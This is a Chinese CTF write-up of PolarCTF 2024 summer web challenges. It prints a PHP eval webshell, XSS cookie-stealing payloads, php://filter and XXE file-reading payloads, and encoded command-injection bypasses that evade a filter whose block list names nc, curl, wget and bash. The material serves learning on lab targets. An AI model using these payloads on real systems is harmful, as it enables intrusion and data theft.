polarctf2024夏web部分

orange_www 2024-08-17 11:03:02 阅读 70

前言:比赛并没有参加,趁着复习期末写题目放松一会,学习学习知识。

更多文章请移步0raNe的笔记

Web

upload1

典型的一句话木马,按照流程来就行

直接上传一个图片,不能直接连接成功,试着传入htaccess限定只能上传图片那些,那估计就是改图片为php就行

然后蚁剑连一下就可以了

在这里插入图片描述

在这里插入图片描述

疑惑:我尝试用jpg上传的时候改末尾并不能成功,看官p用的gif,

<code>GIF89a

<script language='php'>eval($_POST['attack']);</script>code>

按道理也应该正常执行的,并不是很理解。

审计

no no no! <?php

error_reporting(0);

include("flag.php");

highlight_file(__FILE__);

if (isset($_GET['xxs'])) {

$input = $_GET['xxs'];

if (is_array($input)) {

die("错误:输入类型不允许为数组。");

}

if (!preg_match("/^0e[0-9]+$/", md5($input))) {

die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");

}

if (!is_numeric($input)) {

die("错误:输入必须是数字。");

}

die("恭喜:".$flag);

} else {

die("错误:必须设置正确参数。");

}

?>

错误:必须设置正确参数。

先上源码,先审计一下代码,大体上应该就是关于md5的知识点

首先不能用数组绕过,然后要0e开头,最后md5加密后不能为数字,直接一把梭了,平时积累的md5加密等于自身就行

在这里插入图片描述

扫扫看

提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看

在这里插入图片描述

看一下源码,得到flag

在这里插入图片描述

debudao

内容,先看看源码,有个flag是假的(欸

尝试sql注入,好像也不是

尝试ssit注入,也不是

最后发现是xss漏洞,这方面我还没怎么学,等暑假好好补补吧

先用下面的来测试一下,发现有弹窗

在这里插入图片描述

<code><script>alert(1)</script>

然后跟着wp写的

<script>alert(document.cookie)</script>

在这里插入图片描述

爆出flag,用url解码就可以得到flag了

想法:按照这个方法的话其实好像可以直接用hackerbar看cookie那一栏,并不需要构造xss,重新开一次容器发现方法并不可行,哈哈我自己想多了

Dragon

按照正常思路来走一遍,和上面的差不多但是都没有回显,最后得出也是xss

<code><script>alert(1)</script>

也是用这个得到的但是不能正常弹窗,和官p学习了一下可以用img

<img src=0 onerror =alert(1)>

这样就可以正常的弹窗了,然后和上面的题目一样

<img src=0 onerror =alert(document.cookie)>

获取cookie值,url解码得到flag

感想:任何比赛都能让人找到自己的不足漏洞,之后一定要狠狠学学。

tnl

类型和前几题差不多,也试看看,尝试输入到3的时候会有报错,以为是sql注入,尝试万能语句并没有作用

也尝试了一下xss也没有回显

用bp抓包看看,尝试利用伪协议得到index.php

在这里插入图片描述

这是尝试过后发现源码应该后面本身就包含了.php,得到了源码,base64解密一下

<code></form>

<?php

error_reporting(0);

@$file = $_POST['twothree'];

if(isset($file))

{

if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){

include ($file . '.php');

}

else{

echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";

}

}

?>

看了源码可以得知这并不是sql注入,而是一个伪协议绕过的题目,输入1,2,index可以获得相应的内容

那么进行简单的构造,我也是第一次看到这种

twothree=php://filter/convert.base64-encode/index/resource=flag

在这里插入图片描述

最后base64解密就可以得到flag了

你知道sys还能这样玩吗

根据提示进入sys.php

<code><?php

show_source(__FILE__);

if(isset($_POST['cmd'])){

echo "<pre>";

$cmd = $_POST['cmd'];

if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {

$output = system($cmd);

echo $output;

}

echo "</pre>";

}

?>

和国赛的那个有点类似

方法1:

尝试php -r来进行二次执行

cmd=php -r 'system(hex2bin("6c73202e2e2f"));'

查看

cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

ff是进行的一个绕过执行,否则得不到

方法2:

cmd=`printf "Y2F0IC8q"|bas""e64 -d`

这里看到一个师傅利用了printf和双引号绕过base64加密的方法得到了答案,也放在这,还是比较巧妙的

方法3:

上面几个都是借鉴的,还有一个办法就是八进制转化,之前写xyctf有一个和这样类似的,我就直接上payload了

cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27

详情可参考,文章,ezrce那个部分

ExX?

先搜看看flag{}有个假的flag,那再看看题目吧

尝试dirsearch扫描得到dom.php,出现了xml的报错很明显就是xxe的漏洞了,同天的lit比赛也是有一个题目是xxe

不知道原理直接上payload之后打算写一篇专题好好学习

<?xml version="1.0" encoding="utf-8"?>code>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>

<user>

<name>&xxe;</name>

</user>

最后base64解密就行

总结

剩下的题目都是考察java类的web题目,我还没学到也暂时没必要跟着复现了,总体来说题目也是较为友好的,自己还是要多复习多刷题,暂时就先到这了。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。